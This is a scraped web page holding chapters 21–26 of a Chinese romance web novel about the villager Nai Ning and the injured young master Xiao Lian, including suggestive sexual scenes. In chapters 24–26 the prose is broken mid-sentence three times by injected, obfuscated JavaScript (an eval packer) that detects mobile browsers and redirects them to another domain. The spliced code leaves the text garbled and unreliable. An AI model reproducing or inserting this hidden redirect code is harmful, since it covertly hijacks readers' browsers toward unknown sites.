在他亲得起劲之时,头顶上方传来道性感低沉的声音:“你不是说,不碰的么?” 说话间喉结又滚动了下,奈宁忍不住包裹起来又舔了舔,这才依依不舍的起身,又将大少爷往里面推了推:“不碰了,不碰了!” “你睡里面,有事情喊我啊。” 奈宁睡下来,侧向大少爷这边,枕着手臂看着他,心中满满的满足感,鼻尖仿佛萦绕着幽香,又好看又温柔的大少爷真的就躺在他旁边! 他吞了吞口水,低声喃喃:“最后一口,就最后一口啊。” 说着手摸过来,抚着人家的下颌,俯身过去亲个不停。 萧练:“……” 算了。 不亲也亲了。 不过没多久,他莫名产生了些不合时宜的燥意,忍不住又推了推小哥儿:“不早了,快睡吧。” 这会儿声音有些哑了,温柔中透着点粗糙感,好撩人。怀里抱着香香柔柔的大少爷,奈宁心血滂湃,差点没能控制腿要跨到他身上去。 他怎么就这么好呢? 奈宁舍不得离开,小小声说:“你好暖啊,我可以贴着你睡吗?” 大少爷不说可以也不说不可以,喉结滚动了下。 小哥儿不安分地蹭过来,身上淡淡的奶香,肌肤很嫩滑,贴在脸上时滑滑腻腻的,嘴唇时不时要贴贴他的脖子。 没多久身侧安静下来,又过了好久,萧练才微微偏过脸来,入目一片漆黑,但他知道那是什么,一个未婚小哥儿,压在身上,不重,但还是有点沉甸甸的。 压得他心脏有点喘不过气来,夜很乱,他心绪更乱。 他该怎么办呢? 他不能视而不见,但想到未来拖着废腿出门为生活奔波,身后尽是冷言冷语,他的心就寒若冰霜。 鼻尖萦绕的温热气息又叫他狠不下心来,小哥儿特意用了他喜欢的奶香皂。 可能搓澡时就在美滋滋地想他会喜欢吧? 想到小哥儿满心欢喜地讨好自己,自己却泼一盘冷水,就难受。 他不想看到在雷风暴雨里哭泣的小哥儿,特别抬起脸蛋时,一脸生无可恋的无助。 分别对他好一点,他就乖乖的,脏了人衣角会惊荒失措,给一柄伞就受宠若惊。 冰火交织中,萧练心脏被撕扯着,眼眶酸痛得不能自已,眼泪不知不觉从眼角滑落,低声喃喃:“为何偏选我?” 奈宁一觉睡得饱足,精神满满,歪着脑袋,有些疑惑不解地看着大少爷。 大少爷昨晚睡得很不好么?眼眶红肿,人也是蔫儿吧唧的没什么精神,对上目光还会很不好意思地偏过脸来。 奈宁试着跟他说了声:“早啊,大少爷?” 竟有回应,大少爷说:“早。” 只是声音比昨晚更粗糙了,还特不好意思,脸蛋又红了。 这样的大少爷真是太可爱了,奈宁嘴角扬起,情不自禁凑过去,捧着大少爷脸蛋又亲了起来。 跟他额角相 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没来得及先去看鸡,奈宁就快乐地跑去喊大少爷来看看他们的菜地。 “大少爷,我们的青菜长出来了,以后就不必吃野菜了!” 还没跑出后院,大少爷拄着拐就过来了。晨曦打在他身上,扫去笼罩在他身上的阴霾,一身雪白,眉眼弯弯,清风拂过,他嘴角也扬起来。 奈宁顿在原地。 原本以为落魄的大少爷,瘸了腿依然那般光风霁月,皎若天上明月,可远观而不可亵渎。 他莫名有点伤心,若不是大少爷腿瘸了,根本不会认识他。 “怎么了?”温柔似水的一句话,唤回奈宁飘远的思绪。 奈宁看着大少爷,眼睛亮亮的,摇摇头,甩去那些不该有的念头。 以前是以前,现在大少爷就是他的! 如此想着,他向大少爷伸出了手:“我带你过去吧?” 萧练垂眸看着跟前的手,再看看满脸灿烂笑容的小哥儿,情不能已握住了那只过分消瘦的手。 有句话不合时宜地冒出来,瘦死的骆驼比马强。 22. 第 22 章 之前贫瘠没有生机的土地,参差不齐地冒着一簇簇幼芽。 土地被一夜大雨浸湿透了,冒出的绿芽格外清新,不种地的人也能瞧出它长得有多好。 萧练有些恍惚:“这是我们种的菜?” 其实他没有种,离了拐杖他都扶不动锄头,就帮着提了几桶水过来,字里话间不知不觉被小哥几带偏,用上了“我们的”。 看着嫩绿的菜田,他也很开心,满足感油然而生。 自己好像也没有那么废物。 昨夜的风雨将泥地都淋透了,今日也不需要淋菜,只要水份充足,它们就能长得好,过段日子过几日再给它们追肥。 鸡窝里面大鸡小鸡都好好的,奈宁打开门让它们出来走走。 这会要紧着些将竹栏给完善好了,不然一会大鸡小鸡就能将菜田给扒拉掉。 奈宁把鸡放出来了,才发现自己傻了,这会还得废一个人工在这里看着菜地。 萧练轻笑一声,拄着拐回去煮粥了。 奈宁也不闲着,一边看鸡一边收拾昨日从山里背回来的山货。 满满的一箩筐山货倒在地上,奈宁满心欢喜,也难为他昨日背回来肩膀都要酸死了。 蘑菇灵芝野菜木耳,还有一窝放在小鸟废弃巢穴里的鸟蛋。 之前空下来的筛子竹席再次铺满了。 这些都不会卖,是他们接下来几日的口粮。 大鸡小鸡都知道主人收获丰富,一个个咯咯叽叽围过来。 它们要吃野菜,还要吃一些蘑菇。 奈宁将一些磕磨烂掉的蘑菇野菜分给它们吃,蘑菇不给小鸡吃,就给大鸡。 太小了,怕吃死掉。 奈宁捧着灵芝,心情颇佳,支着脸蛋看它们吃饭。 没待多久,大少爷端了一个小矮桌过来,再添两张小凳,之后是一锅粥,两碟素菜,几枚鸟蛋。 奈宁舀粥的功夫,萧练去喂鸡。 他还想切青菜,奈宁笑道:“刚刚喂过青菜,直接喂粥吧。” 两人在树荫底下吃朝食,简简单单一餐奈宁已是万分满足。 之后两人又一起削竹篾做竹栏,奈宁割到了手,大少爷就不让他干了。 大少爷不太善于言辞,拉过他的手,用了药,说:“你去休息吧。” 奈宁顿时没什么事做,又扛了把锄头在菜地周边下玉米,隔几步丢一粒籽。 各有忙碌,偶尔偏过头来对视上一眼,大少爷很快挪开视线,继续编竹栏。 奈宁坐在旁边支着脑袋看,家里养的大鸡小鸡也一样好奇,歪着脑袋看主人编竹子。 时辰不早,奈宁进灶房做午食。 用面粉拌了个糊糊,想烙个饼吃。 家里的母鸡咯咯咯下了个蛋,奈宁刚要去拾蛋,大少爷拄着拐就过来了。 鸡蛋磕在糊糊里,再加点盐,搅拌均匀,不用醒面,就能烙饼。 有点像做肠粉一样,蒸熟了就能吃,不过这个是煎。 热锅下油,将面糊倒进去,煎至成型,翻面继续煎,将表面煎得金黄。 要是有香葱就更好吃,可惜没有。 不一会就闻到了浓浓的麦香,大少爷拄着拐在那里,将鸡蛋交给小哥儿,小哥儿笑着接过就没理他了。 小哥儿做饭手脚麻利,烧上柴都不用他帮忙烧火。 他有时有些愣在原地,留也不是。 这会闻到饼香,越发走不动路,低声道:“好香!” 小哥儿回头冲他明媚一笑:“嗯,一会就能吃了?” 突然想到他们的菜地,惊呼道:“我们的菜!” “哦哦哦!”萧练手忙脚乱地走了。 奈宁提高声音,从外头喊道:“一会我端过去!” 火候把握得好,这饼摊着容易,一张接一张,不一会就好了。 闻着香香的味道,奈宁忍着口水赶紧端到后院。 后院孤零零地坐着大少爷,还有他们凌乱的菜地。 奈宁看了看菜地一角,好笑道:“刚才没被鸡偷扒菜地吧?” 大少爷都不好意思抬头看他,略微不自在道:“没、没有。” 他冲过来的时候,母鸡正咯咯咯地张着翅膀跳上菜地。 几只小鸡在外围扒食,张着翅膀要飞上去,又被滚泥砸下来。 煎饼很香,外面酥里面软,特别好吃,不长牙的老太太都能吃。 奈宁吃了三张,大少爷吃了五张,最后一张不好意思吃。 奈宁好笑地分了一人一半。 奈宁还没吃过灵芝,捧着一大朵灵芝,他是不打算藏私的,通通吃掉。 既然大家都说灵芝补,他打算掰一块来碾成粉,熬汤吃,连粉带沫都吃掉。 碾药的掏药的器具都有,奈宁先用石臼捣了一轮,再用铁碾碾成粉,把水烧开后小火慢熬,早早就将红枣丢下去 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奈宁眨眨眼睛,道:“萧大少爷?” 萧练:“……” 调皮得逞的小哥儿欢愉地笑了。 他很开心,笑得前俯后仰,也不知道怎么这么开心。 等萧练的腿泡到热水里,他才好不容易止住笑,双眼亮亮的:“那你知道我叫什么名字吗?” 黑白分明的眼眸闪烁着光芒,真诚又充满期待。 大少爷看着他点了点头。 小哥儿开始笑起来,莫名开怀。 等将大少爷的腿从水里抱起来,他轻柔的声音也随之响起:“我以为你不知道呢。” 下一瞬让奈宁意料不到的事情发生,大少爷低低喊了声:“奈宁。” 奈宁心脏仿佛被什么猛烈撞击了一下,又像装满了水的杯子被投入了一块石子,水都要满溢出来。 他眼睛不知不觉染上一层湿意。 大少爷看着他好像在等他喊一声自己的名字,他张了张嘴。 萧练紧张得呼吸都停止了,谁知道小哥儿调皮一下,摇头晃脑就是不喊。 把水端出去门窗锁好,熄了灯,大少爷早已乖乖躺在床上。 这一晚大家都很乖,奈宁也没有多动,相隔楚河而眠。 萧练莫名有些睡不着。 23. 第 23 章 这几日奈宁哪里都不去,就安心待在家里伺候大少爷。 大少爷很乖,不管他干什么,都在旁边跟着他一起忙。 他要浇水淋菜,大少爷就提水过去,他要拔草大少爷也蹲下来帮着拔草。 就连他出后门摘菜,大少爷也拄着拐在后头跟着。 伤到的腿脚渐渐痊愈。 没有猪肉鸡肉,但有灵芝鸡蛋蘑菇,还有田螺河蚌野菜。 奈宁试着做陷阱捕鸟,很简单,筛子用木棍支起来,下面撒上米粒,鸟就会过来捕食,一盖好几只鸟,就小了点。 麻雀虽小也是肉。 还趁着夜半去外面竹林挖竹鼠,这东西太机敏了,有点难搞,经常搞不到,就去捕青蛙。 有一次扑过去,扑到的是一个癞蛤蟆,都拿回家要切了,看清楚的那一瞬间,吓得他叽哇乱叫。 这东西黑不溜秋的,长得特别不符合人的审美。 看他叫得这么惨,萧练赶紧过来补救,眼疾手快的捉住了癞蛤蟆,等他看清楚手上捉的东西,一张俊脸都变黑了。 大少爷的手修长又漂亮,捉着那黑不溜秋的丑东西,黑白分明,衬得他的手越发好看。 奈宁小心翼翼道:“实在不行,要不你就丢了吧?” 到了晚上,大少爷还在搓手。 青菜刚长出一寸,奈宁迫不及待先吃了一茬,感动得快要哭了,自家种的青菜就是要比野菜好吃很多。 但是幼年期就摘的青菜,摘一次就没了,长大些越摘越有,有根在不到七日就又能吃一茬。 于是大多数时候,他们还是得出去,苦哈哈地挖野菜吃。 家里快没肉了,又去溪流那边摸田螺。 萧练下不去,就站在岸边看着,又或者去摘野菜,马齿苋是最多的了,两人都吃得有点怕。 挖到好吃些的野菜,他会开心地跟奈宁说。 好多没见过的草也要摘过来问一问奈宁,奈宁好笑又耐心跟他区分这个能吃又或者不能吃。 不过他也只敢在周边转转而已,不敢走得太远。 看大少爷拔野草拔得这么开心,奈宁也开心,突然脚下有什么东西钻过,下意识地往下抓去。 泥里面的东西,一般不会是蛇,大多是泥鳅。 那东西滑腻腻的,还挺大,力道也很猛,等他捏起来的时候还没有看清楚长什么样子,那边大少爷拄着拐匆忙赶来,伸手就要拉他:“走!” 见大少爷惊慌失措的样子,奈宁有些好奇:“怎么啦?” 萧练张了张嘴不知道该怎么说,满脸惊慌着急。 没多久,奈宁自己就听到竹林那边传来声音,他赶紧从水里出来,不但跑得比兔子还快,还反手拉着大少爷跑。 大少爷一根根拐杖拄得乱七八糟,身上的菜散了不少。 回到家砰的一下关住门,两个人才松了口气,皆是狼狈又尴尬。 看着彼此,奈宁露出灿烂一笑,大少爷有点不好意思,尴尬地扯了扯嘴角。 塞在怀里的鱼早将奈宁衣襟都打脏了,这会儿才注意看,不是泥鳅也不是黄鳝,奈宁也不知道是什么鱼,只知道好重一条,又有肉吃了,高高兴兴地去宰了,放了调料腌一腌。 家里的米面吃得差不多了,连蘑菇等山货也不剩多少,奈宁淘米下锅,看着不多的米面发愁:“我明日一大早上山去捡些山货,后日一大早再到镇上去换些米粮。” 没听到回话,一扭头,那边大少爷自己又开始伤感了,盯着他自己的瘸腿,状态有点不对劲。 奈宁安慰道:“你不要多想呀。” 萧练摇摇头,突然站起来,丢了拐杖,一步一踮着走。 应该还是很疼的,每一步都走得很沉重。 奈宁看得心头发紧,提醒道:“你不必如此勉强,原本腿伤就没好,怎么能走得动路呢,万事不宜操之过急。” 大少爷就应了声,却没有停下。 没走一圈,萧练额角就渗出一层密密的汗珠。 奈宁实在看不下去了,在他经过椅子旁时猛地将他推倒在椅上。 没等他反应过来,一屁股坐了上去,坐在他双腿上,他要直起来奈宁又压下去,捧着他的脸颊,咬牙切齿道:“是不是太久没亲了,又皮痒了?” 说着也不等他说话,一嘴儿就 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奈宁想再深入一些,大少爷死死咬着牙关,他舌尖只能在大少爷牙关之外游走。 但也好像有什么美味一样,他将大少爷牢牢压在椅背上。 大少爷的呼吸渐渐有点沉。 奈宁退出来,看着大少爷。 两人贴得好近呼吸交织,大家的气息都有点不稳。 大少爷垂着眼眸眼睫轻颤。 小哥儿在他脸颊上轻轻的呵气,吹得他眼睫簌簌颤抖。 好不容易抬起眸来,撇了奈宁一眼,又迅速移开目光。 那眼神深情迷离,奈宁心脏莫名颤动,牢牢的禁锢住他,强行再次亲下去。 大少爷偏过脸去,也被他掰转过来。 直到闻到饭香,这才作罢,临走前,捏捏大少爷的脸颊,开心道:“你怎么不反抗了呀?” 说着伸出舌尖,在大少爷脸颊上舔了舔,肌肤很嫩,让他感觉能吃。 其实没什么味道,还激得大少爷皱了皱眼睛,却莫名好看,禁不住凑到大少爷耳边说:“晚上洗好等我哦。” 24. 第 24 章 这不知道是什么鱼的鱼腌制好了,随便炒炒就很入味好吃。 大少爷以前只顾吃,不管做饭,此刻尝了尝味道:“这好像是鳗鱼?” 奈宁一脸惊讶看过去。 萧练浅笑道:“这鱼还挺贵。” 小哥儿眼睛扑闪扑闪着:“要多少钱一斤?” “不知道,就晓得挺贵的。”想了想萧练补充道:“在酒楼里吃,怎么也得好几百,比牛肉贵。” 这一说奈宁就懂了,双眼立刻亮起来:“我好幸运!” 萧练也道:“对,你好幸运。” 大少爷说话声音不大,嘴角含着浅笑,音色温和,吐字清晰,肯定的语气让人心头温暖。 奈宁吃过泥鳅黄鳝之类的,这鳗鱼好吃不止一星半点,特别是大少爷家什么调料都有,只可惜少了姜蒜葱,这最基本的调料。 但也是顶好吃的了。 奈宁很少吃到这么好吃的肉,满满一大盘堆得老高,肉质比他吃过的鱼都要鲜嫩。 他舍不得大口大口吃,用手指捏着一块细细地品尝。 关于幸运一事,他都走出来了。 那边大少爷看着他陶醉的模样,还在论鱼:“鳗鱼向来有水中人参的美誉,你着实很幸运,捡到灵芝又摸到鳗鱼。” 奈宁道:“还有很多蘑菇!” 萧练好笑道:“对,还有很多蘑菇。” 奈宁算是发现了,大少爷是个话唠,人家不跟他说话,他自己也要没话找话。 奈宁埋头吃饭时,他经常一副欲言又止的样子,跟他说两句,他嘴角就扬起来,眉目含情。 这几日休养下来,大少爷的腿脚好了很多,伤口结的痂开始变得结实,今日拉着他跑了一段路也没事。 照如此发展下去,不需半月,应当能愈合脱痂。 奈宁抱着大少爷的腿给缠上麻布,其实现在已经不需要再给大少爷换药了,他还是不放心每日都要看一看。 奈宁把语气说得重重的,警醒大少爷:“现在都快好了,可别操之过急,再把伤口裂开,又不知得养到何年何月!” 大少爷有点心不在焉地应嗯,帮他揉另一条腿的时候,他眼神直闪躲。 奈宁心里笑得前俯后仰,表面强行伪装淡定,看来今日那一席话,乱了大少爷心神。 这一次给大少爷揉脚,才碰到肌肤,大少爷浑身绷得很硬,轻轻地颤抖,比以往任何一次都要剧烈。 大少爷坐得别扭,想并拢双腿也不行,怕触到,只能张着。 奈宁看到衣服明显隆起。 他自然晓得那是什么,大家都有,但人家的就是要雄厚许多。 大少爷还是很有本钱的。 萧练很不自然地拿衣服盖了盖,衣服软绵绵地垮下去,根本盖不住。 奈宁憋得难受忍不住笑出声来。 萧练又手忙脚乱去扒拉被子,薄被盖到腰间,这才什么都看不到了。 不过很快被奈宁扯开。 小哥儿一脸正色道:“还在揉腿呢,一会儿把薄被沾湿了怎么办!” 分明是强词夺理,但大少爷就这么任他将薄被丢一旁去了。 奈宁心中万分满意,不单满意大少爷的乖,更是满意大少爷身体的反应。 这小东西吃不好穿不好睡不好,过不好日子的时候是不会有动静的。 这代表大少爷状态很不错。 其实之前也有,就没有这么明显。 萧练好紧张。 小哥儿的手可是在他裤管了,这小哥儿什么做不出来! 不过小哥儿比他想象中的乖许多,正正经经地给他按揉腿,等他泡上热水之后,手湿了热水,一如既往地给他撸腿。 接近尾声,小哥儿拿棉巾来帮他将水擦干,他莫名松了一口气。 这一口气没能松到底,立刻又提了上去,一张俊脸似被火舌舔了那样,霎时烧得通红。 奈宁直压不住嘴角,他耍流氓了。 看它那么精神,心里头莫名痒痒,光看几眼宛如隔靴搔痒,完全不能止痒,还越发难受,忍不住伸手摸了摸。 刚碰到,立刻就像泥地里踩到的鱼一样,特别有精神猛地蹿起来。 奈宁原本就想稍稍碰一碰,一不小心就整个把在了手里。 他死死咬住唇瓣,但是嘴角实在压不住。 真是太有精神了,比那鳗鱼那灵芝,甚至摘到的最粗蘑菇都粗。 流氓也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749401|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就小耍了一下,大少爷滚进床去了,用被子死死地将整个人蒙住。 奈宁将水桶搬出去,不小心撞到墙,水泼了一大半。 走路都打晃。 一出门脸上的傻笑怎么都憋不住,呵呵呵呵的笑出声来,越笑越狂野仰天哈哈哈大笑。 真是好开心,不知为何就是很开心,还没走出院子,他的水就泼得差不多了。 房间里萧练从被窝里悄悄钻出个头,听着那开朗的笑声,羞涩之余嘴角忍不住弯起来。 那触感挥之不去。 那地方涨得厉害。 心脏乱跳,想到小哥儿白日跟他说的话,心湖乱了,有种说不出道不明的感觉。 他一直有一个跳出三界外不在五行中的念头,譬如说人其实不是人,也不过是一种牲畜,只是聪明了点。 即使在县城,上学路上也有许多狗子当街□□。 人骂不走,打也不走。要么绕路,要么等它们完事。 他一开始羞耻于看,后来才发现这是人之常情,哦不,狗之常情。 他作为一个读书人会羞涩,相反,那些市井街坊,老人妇人姑娘哥儿,甚至小孩都能坦然处之。 是他们这些读书读呆了,才为此事觉得羞耻。 礼仪廉耻不过是人吃饱了撑着之后,前人强加于后人的枷锁。 其实细想之下,礼仪廉耻,不管是对科举还是治国都没什么用。 哦不对,应该说也是很有用的,若没有礼仪廉耻,上层就无法用森严的阶级压迫下层。 他从不着边的大道理开始安慰自己,鱼水之欢是正常的,人跟牲畜差不多,并不是什么特别尊贵之物,不需要太过遵守人世间的繁文缛节。 既然两人都心意相通,就不必管外面怎么说。 但读书人根深蒂固的礼仪廉耻,还是让他羞愧难当。 不知不觉又蒙住脑袋。 隔了一层薄,他还是能清晰听到外面传来的脚步声。 心脏跳得很快,不知如何是好。 他一个大男人,人家一个小哥儿。 他们之间,还能说清白吗? 等脚步声走到门前时,他深深吸了一口气,从被窝里钻出来。 25. 第 25 章 奈宁在外头小凳子上坐了好久才进来,笑得他眼泪都出来了,今晚注定难眠。 看到大少爷从床上钻出来,坐在床上似乎在等他,他莫名还挺意外。 大少爷不该羞得蒙着被子不敢出来吗? 又或者忙不跌扑过来把房门反锁掉? 他眨了眨眼睛,看着像新娘子一样坐在床边的大少爷。 刚才压下去的笑意又涌,再次忍不住仰起头来哈哈哈笑。 萧练像坐在针毡一样,咬紧了唇瓣,还是坐在那里等着。 等他终于笑停了,灯灭了,过了一会脚步声响起。 萧练坐立难安,喉结上下滚动,紧张得几乎喘不上气来。 下一瞬,他忽然觉得不对劲,脚步声是往外走的! 哦,要先关门。 他又松了一口气。 等门关上的声音传来,他骤然想起一点,小哥儿从外面进来,为何进来时不顺手关门,而是熄灯了再关门? 这一晚大少爷翻来覆去就想着两个问题。 第一如上。 第二,白日小哥儿叫他晚上洗好等他,是什么意思? 奈宁起了个大早,天还是黑的。 想不到大少爷起得比他还早,灶房里一盏昏黄油灯,一道单薄挺拔的身影,正撸着袖子,烙饼。 听到脚步声他回过头来,昏暗的油灯打在他脸上,给深邃的五官镀上一层暖色。 奈宁开心道:“早啊!” 萧练也道了声“早”,很快偏过头,继续烙饼。 若是细听,他的声音沙哑得不像话,又好低沉。 奈宁凑过去,能闻到大少爷身上香香的味道。 萧练感受到有人靠近,但又没有碰到,就像小猫咪围过来时,被毛撩到的毛茸茸的感觉。 他有点不自然,又不好挪开,身体越发绷得紧。 等这种感觉越发重了,他偏过头来,对上了扬起脸蛋凑过来的小哥儿。 小哥儿在他衣服上使劲地闻了闻:“大少爷用的什么香皂呀,好香呀!” 萧练吞咽了下口水,艰难地说:“是是檀木,混了一点点桂花。” 奈宁又嗅了嗅,一脸陶醉的样子:“难怪,闻着怪好闻的!” 大少爷一张俊脸,不知不觉又烧红了。 突然想到什么,扭过头来说:“我叫萧练。” 一脸固执地看着人,好似定要他叫。 奈宁故意逗他,愣是不叫。 灯光摇曳之下,看清了大少爷一双黑黑的眼圈,控制不住笑:“大少爷昨晚睡得很不好啊?我可是睡得相当不错哦!” 萧练羞得无地自容。 小哥儿还要凑过来,往他耳畔送了一口气低声道:“是因为我不在,所以睡不着吗?” “啊!”烙的饼灼到了大少爷的手指,他只顾着低头吹手指了。 奈宁拿过他的手,看那修长白皙的手指,指尖染粉,看着很好吃的样子,忍不住含进嘴里。 湿热的触感从指腹席卷全身,萧练浑身一颤。 舌尖还灵巧地将他指腹包裹起来,轻轻吮着。 世上最柔软的触感也不过如此了。 脑子乱糟糟的,莫名在想好软好热乎好温暖。 触碰到牙尖又是另外一种说不清道不明的感觉。 在极致的柔软之中被另一层坚硬磕碰着。 萧练压着眼睫不敢抬眸看,呼吸都打乱了。 过了好一阵,低声喃喃道:“不痛了。” 声音压得很低很低,好像都不想让人家听到。 奈宁又吮了一会才松开,看上面还残留着水渍,还伸出舌头帮他舔去。 大少爷站在那里看着手指呆了好半天,奈宁接过烙饼的活计。 等饼烙完,一扭头,大少爷不知什么时候把手指含到嘴里去了。 四目对上,萧练吞吞吐吐:“我我我我……” 奈宁好笑地凑过去亲了亲他嘴角。 吃了烙饼,接过大少爷备好的包裹,奈宁背着背篓出门。 临行还不忘嘱咐大少爷:“记得好好待在家里,不要乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749402|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑,等腿脚好了再说。” 萧练只是点头,看着奈宁欲言又止,最后只是张了张唇又闭上。 奈宁走了两步回头,见大少爷还站在门口。 高大的围墙,婆娑竹林。 昏暗的光线衬得他乖巧又孤寂,奈宁忍不住走过来,微微踮起脚尖,在他嘴角上亲了亲,柔声说:“我走了,很快回来的。” 奈宁一路上心情都很好,看来昨日那一句洗干净等我,把大少爷搞得魂不守舍。 他自然也是想的,或许这两天。 他脸蛋烧得红扑扑,嘴角的笑却没停过,眼睛弯成月牙。 一个人孤零零的上山,也觉得满心欢喜。 萧练自己在家,莫名心绪不宁,坐立难安,淋了菜地喂了鸡,又扫了庭院,就没事干了。 他想将拐杖丢了练一下走路,想起哥儿的那一句话,又坐了下去。 算了不能。 脑子放空,不由自主想起昨天晚上,想到突然被捉住,他□□里的玩意儿就不由自主跳了一下。 他燥得满脸通红,又拄着拐满屋子乱走,好像天气很炎热一样,脸颊烫得厉害,浑身燥热得他想扒衣服。 越走越不对劲,他索性坐上来念佛经。 然而他心神还没定下来,外头的大门砰砰砰的被拍响了。 他心头一震猛地站起来,踩到伤腿,痛得嘶了声,同时也冷静下来,这拍门声从前门响起的,绝对不可能是奈宁。 所以是谁呢? 他皱起眉头。 很没有素质,这声音拍得砰砰响,像要拆门一样,太没有素质了。 这时外面的喊声响起来:“有人在家吗,没有人在家呀?奈宁,你以为我不知道你在里面!再不开门我们就要钻狗洞进去了,到时候抓到你,有你好看的!去啊,去钻,好啊好啊,一个个都没用,等我来!” 萧练没说话,就静静站在门边。 狗洞冒出一个狗头的时候,他一拐杖敲下去。 狗头立刻缩了回去,同时传来啊啊啊的尖叫。 26. 第 26 章 谭梨花满村子走找奈宁,找了大半个月了。 满村子看不到人,山里也没见着,就差这边这户的没破门进去寻了。 之前还不敢,但听到他们说这大少爷又起死复生了,屋里有灯光,夜夜能听到欢声笑语。 谭梨花心里发冷,认定了是她那不要脸的继儿躲进去了。 所以她就这么不分青红皂白,直接来拿人。 萧家这大门跟他们乡下的普通门不一样,可以拿竹子来撬开,这门撬不开啊,必须要有钥匙才能开,或者在里面打开吧。 总之谭梨花想钻狗洞进来,那狗洞有点小,她一个大人,还是微胖的大人,被卡在半中就很痛苦,结果一根拐杖不问原由地砸下来,砸得她满头是包,啊啊啊惨叫着退出去,胳膊脸蛋都被墙壁磨去一层皮。 还赚了满头包。 狗洞那专门给狗钻的,也就小孩子丈着身量小可以钻进去。 她一个有点发福的女人,就妄想钻狗洞,外头看热闹的人哈哈哈笑个不止。 刚才还有好几个怂恿她说:“你继子定是在里面定是在里面,叫个人钻狗洞进去把门开开,一定能当头逮到他。” 这会一个个笑得老脸比菊花还皱。 谭梨花插起腰不能骂外面,那只能骂屋里头,刚张开嘴要喷粪,门吱呀一声从里面打开了。 一张俊雅无双的脸从门后露出来,脸上神情冷若寒霜。 奈宁天天叫大少爷,就因为全村子的人都叫他大少爷。 村里的泥腿子哪里见过那么多世面,看到富贵人家未免心头发怵。 在看大少爷这一身绫罗绸缎,虽然他们也不知道那衣服是什么材质,但看着就比他们泥腿子身上穿的粗衣麻布好太多。 大少爷开门出来的时候,外面看热闹的人都安静了。 萧练也不说话,就冷冷地扫谭梨花,那眼珠子好像啐过毒一样,像毒蛇的信子,嘶嘶嘶朝她吐毒雾。 大家都洗耳恭听,大少爷要怎么发疯? 上次不是说谁敢再进来就拿刀子砍吗? 怎么没看到手上带刀子? 谭梨花浑身发寒,仗着青天白日后头人多,插着腰,没理也要横。 谁知她还没开口,对方冷冷地说:“你想怎么死?” 话音未落,只见他抬起手,寒光一闪。 谭梨花心头一跳,还没有东西砸来,啊啊啊惨叫着,一屁股摔倒在地上。 一个冷刃直直插在她面前的地上,将她衣服钉死在地面。 谭梨花全身起皮,瞳孔骤然增大。 真刀!乡下没有几户人家有这么厚实锋利的刀! 她尖叫着连滚带爬跑了。 几个小的也跟着一溜烟跑了。 萧练拄着拐出去,把地面的刀拔起,跟旁边的奈大壮对上视线,冰凉彻骨。 奈大壮哆嗦道:“我我我就是来看个热闹的……”话音未落,他啊啊啊惨哭着跑了。 因为大少爷面无表情扬起了刀。 他忽然一刀甩过去,刀具深深嵌入奈大壮身侧泥土里。 奈大壮僵在原地忘了跑。 萧练拄拐过去拔起刀,低声喃喃道:“准头不太好,不知下次会不会中?” 这一通热闹看得刺激,大家浑身都起了鸡皮疙瘩,乐不开支。 老实的就怕横的,横的就怕不怕死的。 萧练脸色却不好,捡刀回去时,走到那破门前一刀砸下去。 刀钉在椅子,还被他狠狠地砸了一棍,他就这么拄着拐回去了,刀也不要椅也不要。 全场鸦雀无声。 一个个看热闹的人,揪着自家孩子的手臂或耳朵:“以后谁也不许靠近那屋子!” 闹事的人都跑了,这一刀一棍不就是给他们这些看热闹的人看的! 萧练在屋子里走来走去,外边的天突然就暗下来,黑沉沉的。 他心绪越发不宁。 被赶走的人会不会在屋子周边徘徊,黑云压顶,雷声轰隆,小哥儿没带伞怎么办? 他寻了柄伞,想到什么又先回去烧水。 就把柴烧在那里,灶口清理干净,门窗关好。 他匆匆出门。 奈宁上山早,去的都是较为偏僻的地方,好些日子没上来,蘑菇又冒了许多,好多伞都开烂了也没人摘。 他有些可惜,不过一想,这些开烂的蘑菇种子撒在地上,以后又会长出更多的蘑菇,又开心起来。 他沉迷于摘蘑菇,捡山货不可自拔,不知不觉就捡了一篓。 这一次没有上一次那么幸运,没有捡到灵芝这么贵重的东西,他下意识扒拉草丛,想要挖几棵药草。 值钱的药草没挖到,却被他遇到了松茸。 还是没有开伞的松茸。 什么挖草药的想法都抛到了脑后,赶紧去扒拉松茸。 松茸大多长在松树下。 地上鼓起个大包,奈宁兴奋地过去扒开,一看,果然好多松茸簇拥在那里。 他开心得要尖叫起来,这松茸可不便宜,上百文一斤! 摘几斤就能换不少米粮。 而且它很大一棵,一棵棵地拔,奈宁脸颊烫烫的,心潮澎湃,再大一点都可以跟大少爷的比了。 这一处摘完了还不止呢,肉眼可见,旁边还有三四簇。 奈宁朝天啊了声,真的好开心,忍不住哈哈哈的笑起来。 一边笑得东倒西歪,一边摘松茸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 